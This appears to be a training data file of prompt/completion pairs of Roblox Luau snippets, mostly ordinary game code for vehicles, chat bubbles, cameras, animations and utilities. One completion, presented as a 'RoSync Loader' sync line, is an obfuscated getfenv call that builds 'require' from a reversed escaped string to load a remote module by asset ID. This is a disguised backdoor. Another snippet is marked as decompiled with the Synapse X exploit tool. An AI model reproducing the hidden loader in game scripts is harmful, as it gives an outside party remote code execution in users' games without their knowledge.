prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--Right Leg
MakeWeld(car.Misc.Anims.R15.RightLeg.Foot.I,car.DriveSeat,"Motor6D").Name="M" MakeWeld(car.Misc.Anims.R15.RightLeg.Foot.Y,car.Misc.Anims.R15.RightLeg.Foot.I,"Motor6D").Name="M" MakeWeld(car.Misc.Anims.R15.RightLeg.Foot.Z,car.Misc.Anims.R15.RightLeg.Foot.Y,"Motor6D").Name="M" MakeWeld(car.Misc.Anims.R15.RightLeg.Foot.X,car.Misc.Anims.R15.RightLeg.Foot.Z,"Motor6D").Name="M" ModelWeld(car.Misc.Anims.R15.RightLeg.Foot.Parts,car.Misc.Anims.R15.RightLeg.Foot.X) MakeWeld(car.Misc.Anims.R15.RightLeg.LowerLeg.X,car.Misc.Anims.R15.RightLeg.Foot.X,"Motor6D").Name="M" ModelWeld(car.Misc.Anims.R15.RightLeg.LowerLeg.Parts,car.Misc.Anims.R15.RightLeg.LowerLeg.X) MakeWeld(car.Misc.Anims.R15.RightLeg.UpperLeg.X,car.Misc.Anims.R15.RightLeg.LowerLeg.X,"Motor6D").Name="M" ModelWeld(car.Misc.Anims.R15.RightLeg.UpperLeg.Parts,car.Misc.Anims.R15.RightLeg.UpperLeg.X)
-- Connect the ProximityPrompt's Triggered event to the function
Prox.Triggered:Connect(onPromptTriggered)
--wander
function wander() local x = math.random(script.Parent.Head.Position.X-50,script.Parent.Head.Position.X+50) local z = math.random(script.Parent.Head.Position.Z-50,script.Parent.Head.Position.Z+50) GoTo(Vector3.new(x,script.Parent.Head.Position,z)) wait(wandertime) end
--[[ Rate = How far left / right it goes; if it's 0, then it will decide randomly between two numbers (Edit in script). Speed = How many studs it moves per second; if the value is 1, it will move one stud every second; two if value is 2; etc. --]]
local object = script.Parent local speed = object.Speed.Value local rate = object.Rate.Value local direction = Vector3.new(1, 0, 0) part = { move = function() -- Makes it a method :D local s = 0.03 for d = 0,1,s do object.CFrame = object.CFrame + Vector3.new(s * direction.X, 0, 0) if d % (speed / 10) == 0 then print(d) wait() end end end } while true do nRate = rate if nRate == 1 then nRate = 1 --math.random(-1, 1) end direction = direction * 1 for i = 1,nRate do part:move() end wait() end
-- Used to lock the chat bar when the user has chat turned off.
function methods:DoLockChatBar() if self.TextLabel then if LocalPlayer.UserId > 0 then self.TextLabel.Text = ChatLocalization:Get( "GameChat_ChatMessageValidator_SettingsError", "To chat in game, turn on chat in your Privacy Settings." ) else self.TextLabel.Text = ChatLocalization:Get( "GameChat_SwallowGuestChat_Message", "Sign up to chat in game." ) end self:CalculateSize() end if self.TextBox then self.TextBox.Active = false self.TextBox.Focused:connect(function() self.TextBox:ReleaseFocus() end) end end function methods:SetUpTextBoxEvents(TextBox, TextLabel, MessageModeTextButton) -- Clean up events from a previous setup. for name, conn in pairs(self.TextBoxConnections) do conn:disconnect() self.TextBoxConnections[name] = nil end --// Code for getting back into general channel from other target channel when pressing backspace. self.TextBoxConnections.UserInputBegan = UserInputService.InputBegan:connect(function(inputObj, gpe) if (inputObj.KeyCode == Enum.KeyCode.Backspace) then if (self:IsFocused() and TextBox.Text == "") then self:SetChannelTarget(ChatSettings.GeneralChannelName) end end end) self.TextBoxConnections.TextBoxChanged = TextBox.Changed:connect(function(prop) if prop == "AbsoluteSize" then self:CalculateSize() return end if prop ~= "Text" then return end self:CalculateSize() if FFlagUserChatNewMessageLengthCheck2 then if utf8.len(utf8.nfcnormalize(TextBox.Text)) > ChatSettings.MaximumMessageLength then TextBox.Text = self.PreviousText else self.PreviousText = TextBox.Text end else if (string.len(TextBox.Text) > ChatSettings.MaximumMessageLength) then TextBox.Text = string.sub(TextBox.Text, 1, ChatSettings.MaximumMessageLength) return end end if not self.InCustomState then local customState = self.CommandProcessor:ProcessInProgressChatMessage(TextBox.Text, self.ChatWindow, self) if customState then self.InCustomState = true self.CustomState = customState end else self.CustomState:TextUpdated() end end) local function UpdateOnFocusStatusChanged(isFocused) if isFocused or TextBox.Text ~= "" then TextLabel.Visible = false else TextLabel.Visible = true end end self.TextBoxConnections.MessageModeClick = MessageModeTextButton.MouseButton1Click:connect(function() if MessageModeTextButton.Text ~= "" then self:SetChannelTarget(ChatSettings.GeneralChannelName) end end) self.TextBoxConnections.TextBoxFocused = TextBox.Focused:connect(function() if not self.UserHasChatOff then self:CalculateSize() UpdateOnFocusStatusChanged(true) end end) self.TextBoxConnections.TextBoxFocusLost = TextBox.FocusLost:connect(function(enterPressed, inputObject) self:CalculateSize() if (inputObject and inputObject.KeyCode == Enum.KeyCode.Escape) then TextBox.Text = "" end UpdateOnFocusStatusChanged(false) end) end function methods:GetTextBox() return self.TextBox end function methods:GetMessageModeTextButton() return self.GuiObjects.MessageModeTextButton end
-- Note: Called whenever workspace.CurrentCamera changes, but also on initialization of this script
function CameraModule:OnCurrentCameraChanged() local currentCamera = game.Workspace.CurrentCamera if not currentCamera then return end if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() end if self.cameraTypeChangedConn then self.cameraTypeChangedConn:Disconnect() end self.cameraSubjectChangedConn = currentCamera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnCameraSubjectChanged(currentCamera.CameraSubject) end) self.cameraTypeChangedConn = currentCamera:GetPropertyChangedSignal("CameraType"):Connect(function() self:OnCameraTypeChanged(currentCamera.CameraType) end) self:OnCameraSubjectChanged(currentCamera.CameraSubject) self:OnCameraTypeChanged(currentCamera.CameraType) end function CameraModule:OnLocalPlayerCameraPropertyChanged(propertyName: string) if propertyName == "CameraMode" then -- CameraMode is only used to turn on/off forcing the player into first person view. The -- Note: The case "Classic" is used for all other views and does not correspond only to the ClassicCamera module if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then -- Locked in first person, use ClassicCamera which supports this if not self.activeCameraController or self.activeCameraController:GetModuleName() ~= "ClassicCamera" then self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(Enum.DevComputerCameraMovementMode.Classic)) end if self.activeCameraController then self.activeCameraController:UpdateForDistancePropertyChange() end elseif Players.LocalPlayer.CameraMode == Enum.CameraMode.Classic then -- Not locked in first person view local cameraMovementMode = self:GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) else warn("Unhandled value for property player.CameraMode: ",Players.LocalPlayer.CameraMode) end elseif propertyName == "DevComputerCameraMode" or propertyName == "DevTouchCameraMode" then local cameraMovementMode = self:GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) elseif propertyName == "DevCameraOcclusionMode" then self:ActivateOcclusionModule(Players.LocalPlayer.DevCameraOcclusionMode) elseif propertyName == "CameraMinZoomDistance" or propertyName == "CameraMaxZoomDistance" then if self.activeCameraController then self.activeCameraController:UpdateForDistancePropertyChange() end elseif propertyName == "DevTouchMovementMode" then elseif propertyName == "DevComputerMovementMode" then elseif propertyName == "DevEnableMouseLock" then -- This is the enabling/disabling of "Shift Lock" mode, not LockFirstPerson (which is a CameraMode) -- Note: Enabling and disabling of MouseLock mode is normally only a publish-time choice made via -- the corresponding EnableMouseLockOption checkbox of StarterPlayer, and this script does not have -- support for changing the availability of MouseLock at runtime (this would require listening to -- Player.DevEnableMouseLock changes) end end function CameraModule:OnUserGameSettingsPropertyChanged(propertyName: string) if propertyName == "ComputerCameraMovementMode" then local cameraMovementMode = self:GetCameraMovementModeFromSettings() self:ActivateCameraController(CameraUtils.ConvertCameraModeEnumToStandard(cameraMovementMode)) end end
-- ProductId 1218012568 for 5000 Cash
developerProductFunctions[Config.DeveloperProductIds["5000 Cash"]] = function(receipt, player) -- Logic/code for player buying 5000 Cash (may vary) local leaderstats = player:FindFirstChild("leaderstats") local cash = leaderstats and leaderstats:FindFirstChild("Cash") if cash then cash.Value += 5000 -- Indicate a successful purchase return true end end
--//Character//--
local Character = script.Parent local HRP = Character:WaitForChild("HumanoidRootPart") local Player = game.Players:GetPlayerFromCharacter(Character) local Humanoid = Character:WaitForChild("Humanoid") Humanoid.BreakJointsOnDeath = false
--
wait(1) powerlmp.Value = true function Alert() script.Parent.Assembly.Sound.Click:Play() script.AttackScript.Disabled = true script.FireScript.Disabled = true script.Parent.Parent.On.Value = true end function Test() script.Parent.Assembly.Sound.Click:Play() script.AttackScript.Disabled = true script.FireScript.Disabled = true script.Parent.Parent.On.Value = true end function Fire() script.Parent.Assembly.Sound.Click:Play() script.AttackScript.Disabled = true script.FireScript.Disabled = false script.Parent.Parent.On.Value = true end function Attack() script.AttackScript.Disabled = false script.FireScript.Disabled = true end function Cancel() script.Parent.Assembly.Sound.Click:Play() script.AttackScript.Disabled = true script.FireScript.Disabled = true script.Parent.Values.Mode.Value = 0 script.Parent.Parent.On.Value = false script.Parent.Values.TimerOn.Value = false end function Timer() script.Timer.Disabled = false signallmp.Value = true end script.Parent.Values.TimerOn.Changed:connect(function() if script.Parent.Values.TimerOn.Value == true then if script.Parent.Values.Mode.Value == 1 then Alert() Timer() elseif script.Parent.Values.Mode.Value == 2 then Attack() Timer() elseif script.Parent.Values.Mode.Value == 3 then Fire() Timer() elseif script.Parent.Values.Mode.Value == 7 then Test() elseif script.Parent.Values.Mode.Value == 0 then script.AttackScript.Disabled = true Cancel() end end end) script.Parent.Values.Mode.Changed:connect(function() if script.Parent.Values.Mode.Value == 0 then Cancel() end end)
--if Fuel.Value > 0 then
Fuel.Value = Fuel.Value - (oldpos - newpos).magnitude
--[[character.ChildAdded:Connect(function(child) if child:IsA("Tool") then equipped = true IdleAnimation:Play() if sprinting then IdleAnimation:Stop() SprintAnimation:Play() end toolEvent = child.Activated:Connect(function() if child.GunType.Value ~= "heal" then shooting = true if sprinting then humanoid.WalkSpeed = 16; sprinting = false SprintAnimation:Stop() IdleAnimation:Play() end end end) toolEventDe = child.Deactivated:Connect(function() shooting = false end) end end) character.ChildRemoved:Connect(function(child) if child:IsA("Tool") then equipped = false IdleAnimation:Stop() SprintAnimation:Stop() if toolEvent ~= nil then toolEvent:Disconnect() toolEventDe:Disconnect() end end end)]]
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local l__Player__1 = p1.Player; local l__Message__2 = p1.Message; local l__Title__3 = p1.Title; local v4 = client.UI.Make("Window", { Name = "PrivateMessage", Title = tostring(l__Player__1), Size = { 300, 150 } }); local v5 = v4:Add("TextLabel", { Text = p1.Message, Size = UDim2.new(1, -10, 1, -40), BackgroundTransparency = 1, TextScaled = true, TextWrapped = true }); local u1 = false; local l__Player__2 = service.Player; local u3 = v4:Add("TextBox", { Text = "", PlaceholderText = "Enter reply", Size = UDim2.new(1, -65, 0, 30), Position = UDim2.new(0, 5, 1, -35), ClearTextOnFocus = false, TextScaled = true }); local v6 = { Text = "Send", Size = UDim2.new(0, 60, 0, 30), Position = UDim2.new(1, -65, 1, -35) }; local function u4(p2) if not u1 then u1 = true; if p2 then v4:Close(); client.Remote.Send("PrivateMessage", "Reply from " .. l__Player__2.Name, l__Player__1, l__Player__2, u3.Text); client.UI.Make("Hint", { Message = "Reply sent" }); end; u1 = false; end; end; function v6.OnClick() u4(true); end; local v7 = v4:Add("TextButton", v6); v7.BackgroundColor3 = v7.BackgroundColor3:lerp(Color3.new(0, 0, 0), 0.1); u3.FocusLost:connect(u4); local l__gTable__8 = v4.gTable; client.UI.Make("Notification", { Title = "New Message", Message = "Message from " .. l__Player__1.Name, Time = false, OnClick = function() v4:Ready(); end, OnClose = function() v4:Destroy(); end, OnIgnore = function() v4:Destroy(); end }); end;
--[[ Last synced 10/14/2020 09:24 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--//Controller//--
for _, Floaty in pairs(Floaties:GetChildren()) do if Floaty:IsA("BasePart") then local OrgPos = Floaty.CFrame local FloatPos = OrgPos * CFrame.new( Random.new():NextNumber(-0.15, 0.15), Random.new():NextNumber(0.15, 0.35), Random.new():NextNumber(-0.15, 0.15) ) * CFrame.Angles( math.rad(Random.new():NextNumber(-3, 3)), math.rad(Random.new():NextNumber(-3, 3)), math.rad(Random.new():NextNumber(-3, 3)) ) TweenService:Create( Floaty, TweenInfo.new( Random.new():NextNumber(4, 10), Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut, -1, true, 0 ), {CFrame = FloatPos} ):Play() elseif Floaty:IsA("Model") then local PrimaryPart = Floaty.PrimaryPart local OrgPos = PrimaryPart.CFrame local FloatPos = OrgPos * CFrame.new( Random.new():NextNumber(-0.5, 0.5), Random.new():NextNumber(-5, 5), Random.new():NextNumber(-0.5, 0.5) ) * CFrame.Angles( math.rad(Random.new():NextNumber(-360, 360)), math.rad(Random.new():NextNumber(-360, 360)), math.rad(Random.new():NextNumber(-360, 360)) ) TweenService:Create( Floaty.PrimaryPart, TweenInfo.new( Random.new():NextNumber(10, 15), Enum.EasingStyle.Cubic, Enum.EasingDirection.InOut, -1, true, 0 ), {CFrame = FloatPos} ):Play() end end
--WeldRec(P.Parent.Lights)
for _,v in pairs(weldedParts) do if v:IsA("BasePart") then wait(2) v.Anchored = false end end script:Destroy()
-- 🤨
local idk = 0.09 -- number of seconds (type a smaller number if you want it to be faster, or larger to be slower) while true do -- loop script.Parent.Texture = "http://www.roblox.com/asset/?id=8574619105" -- 0 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582705437" -- 1 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582853792" -- 2 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582862325" -- 3 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582872626" -- 4 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582889931" -- 5 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582895559" -- 6 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582902014" -- 7 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582905652" -- 8 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582908281" -- 9 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582914909" -- 10 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582917602" -- 11 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582920389" -- 12 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582922411" -- 13 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582923430" -- 14 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582924089" -- 15 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582925377" -- 16 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582926419" -- 17 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582927354" -- 18 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582928485" -- 19 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582962385" -- 20 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582966006" -- 21 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582970043" -- 22 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582971526" -- 23 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582976022" -- 24 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582978553" -- 25 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582981543" -- 26 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582983664" -- 27 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582985386" -- 28 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582987054" -- 29 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582989695" -- 30 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582990702" -- 31 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582995438" -- 32 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8582996385" -- 33 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8583002659" -- 34 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8583011681" -- 35 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8583025661" -- 36 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8583028764" -- 37 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8583038094" -- 38 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8583041516" -- 39 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8583042812" -- 40 wait(idk) script.Parent.Texture = "http://www.roblox.com/asset/?id=8583043737" -- 41 wait(idk) end
--[[ Data Ekleme ornek (remotevente bagla) for i,v in pairs(_G.GlobalData) do if v.UserId == targ.UserId then for i,data in pairs(_G.GlobalData) do if data.UserId == target.UserId then table.insert(data.Arrests, 1, pushTab) --Arresting officer, arrest reason, jail time, date end --]]
local storage = require(script:WaitForChild("Storage"))
-- play the animation
toolAnimTrack:Play(transitionTime) toolAnimName = animName toolAnimInstance = anim currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" toolAnimInstance = nil if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--[[ Used to decrease the number of consumers by 1, and if there are no more, cancel this promise. ]]
function Promise.prototype:_consumerCancelled(consumer) if self._status ~= Promise.Status.Started then return end self._consumers[consumer] = nil if next(self._consumers) == nil then self:cancel() end end
--[[ FUNCTIONS ]]
local function lerpLength(msg, min, max) return min + (max - min) * math.min(getMessageLength(msg) / 75.0, 1.0) end local function createFifo() local this = {} this.data = {} local emptyEvent = Instance.new("BindableEvent") this.Emptied = emptyEvent.Event function this:Size() return #this.data end function this:Empty() return this:Size() <= 0 end function this:PopFront() table.remove(this.data, 1) if this:Empty() then emptyEvent:Fire() end end function this:Front() return this.data[1] end function this:Get(index) return this.data[index] end function this:PushBack(value) table.insert(this.data, value) end function this:GetData() return this.data end return this end local function createCharacterChats() local this = {} this.Fifo = createFifo() this.BillboardGui = nil return this end local function createMap() local this = {} this.data = {} local count = 0 function this:Size() return count end function this:Erase(key) if this.data[key] then count = count - 1 end this.data[key] = nil end function this:Set(key, value) this.data[key] = value if value then count = count + 1 end end function this:Get(key) if not key then return end if not this.data[key] then this.data[key] = createCharacterChats() local emptiedCon = nil emptiedCon = this.data[key].Fifo.Emptied:connect(function() emptiedCon:disconnect() this:Erase(key) end) end return this.data[key] end function this:GetData() return this.data end return this end local function createChatLine(message, bubbleColor, isLocalPlayer) local this = {} function this:ComputeBubbleLifetime(msg, isSelf) if isSelf then return lerpLength(msg, 8, 15) else return lerpLength(msg, 12, 20) end end this.Origin = nil this.RenderBubble = nil this.Message = message this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer) this.BubbleColor = bubbleColor this.IsLocalPlayer = isLocalPlayer return this end local function createPlayerChatLine(player, message, isLocalPlayer) local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer) if player then this.User = player.Name this.Origin = player.Character end return this end local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor) local this = createChatLine(message, bubbleColor, isLocalPlayer) this.Origin = origin return this end function createChatBubbleMain(filePrefix, sliceRect) local chatBubbleMain = Instance.new("ImageLabel") chatBubbleMain.Name = "ChatBubble" chatBubbleMain.ScaleType = Enum.ScaleType.Slice chatBubbleMain.SliceCenter = sliceRect chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" chatBubbleMain.BackgroundTransparency = 1 chatBubbleMain.BorderSizePixel = 0 chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0) chatBubbleMain.Position = UDim2.new(0, 0, 0, 0) return chatBubbleMain end function createChatBubbleTail(position, size) local chatBubbleTail = Instance.new("ImageLabel") chatBubbleTail.Name = "ChatBubbleTail" chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png" chatBubbleTail.BackgroundTransparency = 1 chatBubbleTail.BorderSizePixel = 0 chatBubbleTail.Position = position chatBubbleTail.Size = size return chatBubbleTail end function createChatBubbleWithTail(filePrefix, position, size, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local chatBubbleTail = createChatBubbleTail(position, size) chatBubbleTail.Parent = chatBubbleMain return chatBubbleMain end function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local frame = Instance.new("Frame") frame.Name = "ChatBubbleTailFrame" frame.BackgroundTransparency = 1 frame.SizeConstraint = Enum.SizeConstraint.RelativeXX frame.Position = UDim2.new(0.5, 0, 1, 0) frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0) frame.Parent = chatBubbleMain local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1, 0, 0.5, 0)) chatBubbleTail.Parent = frame return chatBubbleMain end function createChatImposter(filePrefix, dotDotDot, yOffset) local result = Instance.new("ImageLabel") result.Name = "DialogPlaceholder" result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" result.BackgroundTransparency = 1 result.BorderSizePixel = 0 result.Position = UDim2.new(0, 0, -1.25, 0) result.Size = UDim2.new(1, 0, 1, 0) local image = Instance.new("ImageLabel") image.Name = "DotDotDot" image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png" image.BackgroundTransparency = 1 image.BorderSizePixel = 0 image.Position = UDim2.new(0.001, 0, yOffset, 0) image.Size = UDim2.new(1, 0, 0.7, 0) image.Parent = result return result end local this = {} this.ChatBubble = {} this.ChatBubbleWithTail = {} this.ScalingChatBubbleWithTail = {} this.CharacterSortedMsg = createMap()
-- HitSound:Play()
ball.Parent = nil end function tagHumanoid(humanoid) -- todo: make tag expire local tag = ball:findFirstChild("creator") if tag ~= nil then local new_tag = tag:clone() new_tag.Parent = humanoid end end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end connection = ball.Touched:connect(onTouched) wait(5) ball.Parent = nil
--------AUDIENCE BACK LEFT--------
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(1023) game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(1023) game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(1023) game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(106) game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(106) game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(106) game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(1013) game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(1013) game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(1013)
--Thanks for this, Zeph. Hope you don't mind that I essentially stole this :P
local IntWait = 1 local MD = script.Parent.WPR.SS.Motor local MD2 = script.Parent.WPR2.SS.Motor script.Parent.Parent.DriveSeat.Wipers.Changed:Connect(function() if script.Parent.Parent.DriveSeat.Wipers.Value == true then repeat MD.DesiredAngle = -1.51 MD2.DesiredAngle = -1.51 script.Parent.WPR.wiper2["Wiper Sound"]:Play() wait(IntWait) MD.DesiredAngle = 0 MD2.DesiredAngle = 0 wait(IntWait/2) until script.Parent.Parent.DriveSeat.Wipers.Value == false MD.DesiredAngle = 0 MD2.DesiredAngle = 0 script.Parent.WPR.wiper2["Wiper Sound"]:Stop() end end)
--[[ END OF SERVICES ]]
local LocalPlayer = PlayersService.LocalPlayer while LocalPlayer == nil do PlayersService.ChildAdded:wait() LocalPlayer = PlayersService.LocalPlayer end local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") local success, UserShouldLocalizeGameChatBubble = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldLocalizeGameChatBubble") end) local UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble local UserFixBubbleChatText do local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFixBubbleChatText") end) UserFixBubbleChatText = success and value end local UserRoactBubbleChatBeta do local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserRoactBubbleChatBeta") end) UserRoactBubbleChatBeta = success and value end local UserPreventOldBubbleChatOverlap do local success, value = pcall(function() return UserSettings():IsUserFeatureEnabled("UserPreventOldBubbleChatOverlap") end) UserPreventOldBubbleChatOverlap = success and value end local function getMessageLength(message) return utf8.len(utf8.nfcnormalize(message)) end
-- Connect prompt events to handling functions
ProximityPromptService.PromptTriggered:Connect(onPromptTriggered) ProximityPromptService.PromptButtonHoldBegan:Connect(onPromptHoldBegan) ProximityPromptService.PromptButtonHoldEnded:Connect(onPromptHoldEnded)
--// Handling Settings
Firerate = 60 / 200; -- 60 = 1 Minute, 200 = Rounds per that 60 seconds. DO NOT TOUCH THE 60! FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
-- Function which acquires the currently idle handler runner thread, runs the -- function fn on it, and then releases the thread, returning it to being the -- currently idle one. -- If there was a currently idle runner thread already, that's okay, that old -- one will just get thrown and eventually GCed.
local function acquireRunnerThreadAndCallEventHandler(fn, ...) local acquiredRunnerThread = freeRunnerThread freeRunnerThread = nil fn(...) -- The handler finished running, this runner thread is free again. freeRunnerThread = acquiredRunnerThread end
--[[ Remove the range from the list starting from the index. ]]
function Immutable.RemoveRangeFromList(list, index, count) local new = {} for i = 1, #list do if i < index or i >= index + count then table.insert(new, list[i]) end end return new end
--[[ CameraShakePresets.Bump CameraShakePresets.Explosion CameraShakePresets.Earthquake CameraShakePresets.BadTrip CameraShakePresets.HandheldCamera CameraShakePresets.Vibration CameraShakePresets.RoughDriving --]]
local CameraShakeInstance = require(script.Parent.CameraShakeInstance) local CameraShakePresets = { -- A high-magnitude, short, yet smooth shake. -- Should happen once. Bump = function() local c = CameraShakeInstance.new(2.5, 4, 0.1, 0.35) c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15) c.RotationInfluence = Vector3.new(1, 1, 1) return c end; HandheldCamera = function() local c = CameraShakeInstance.new(.1, .1, .1, 0.25) c.PositionInfluence = Vector3.new(0,0,0) c.RotationInfluence = Vector3.new(0.5, 0.5, 0.5) return c end; -- An intense and rough shake. -- Should happen once. Explosion = function() local c = CameraShakeInstance.new(5, 10, 0, 1.5) c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25) c.RotationInfluence = Vector3.new(4, 1, 1) return c end; -- A continuous, rough shake -- Sustained. Earthquake = function() local c = CameraShakeInstance.new(0.6, 3.5, 2, 10) c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25) c.RotationInfluence = Vector3.new(1, 1, 4) return c end; -- A bizarre shake with a very high magnitude and low roughness. -- Sustained. BadTrip = function() local c = CameraShakeInstance.new(10, 0.15, 5, 10) c.PositionInfluence = Vector3.new(0, 0, 0.15) c.RotationInfluence = Vector3.new(2, 1, 4) return c end; -- A subtle, slow shake. -- Sustained. -- A very rough, yet low magnitude shake. -- Sustained. Vibration = function() local c = CameraShakeInstance.new(0.4, 20, 2, 2) c.PositionInfluence = Vector3.new(0, 0.15, 0) c.RotationInfluence = Vector3.new(1.25, 0, 4) return c end; -- A slightly rough, medium magnitude shake. -- Sustained. RoughDriving = function() local c = CameraShakeInstance.new(1, 2, 1, 1) c.PositionInfluence = Vector3.new(0, 0, 0) c.RotationInfluence = Vector3.new(1, 1, 1) return c end; } return setmetatable({}, { __index = function(t, i) local f = CameraShakePresets[i] if (type(f) == "function") then return f() end error("No preset found with index \"" .. i .. "\"") end; })
--[[ symbol = Symbol.new(id: string [, scope: Symbol]) Symbol.Is(obj: any): boolean Symbol.IsInScope(obj: any, scope: Symbol): boolean --]]
local CLASSNAME = "Symbol" local Symbol = {} Symbol.__index = Symbol function Symbol.new(id, scope) assert(id ~= nil, "Symbol ID cannot be nil") if (scope ~= nil) then assert(Symbol.Is(scope), "Scope must be a Symbol or nil") end local self = setmetatable({ ClassName = CLASSNAME; _id = id; _scope = scope; }, Symbol) return self end function Symbol.Is(obj) return (type(obj) == "table" and getmetatable(obj) == Symbol) end function Symbol.IsInScope(obj, scope) return (Symbol.Is(obj) and obj._scope == scope) end function Symbol:__tostring() return ("Symbol<%s>"):format(self._id) end return Symbol
--[=[ Flat map equivalent for brios. The resulting observables will be disconnected at the end of the brio. @deprecated 3.6.0 -- This method does not wrap the resulting value in a Brio, which can sometimes lead to leaks. @param project (value: TBrio) -> TProject @param resultSelector ((initial TBrio, value: TProject) -> TResult)? @return (source: Observable<Brio<TBrio>> -> Observable<TResult>) ]=]
function RxBrioUtils.flatMap(project, resultSelector) assert(type(project) == "function", "Bad project") warn("[RxBrioUtils.flatMap] - Deprecated since 3.6.0. Use RxBrioUtils.flatMapBrio") return Rx.flatMap(RxBrioUtils.mapBrio(project), resultSelector) end
--------------| SYSTEM SETTINGS |--------------
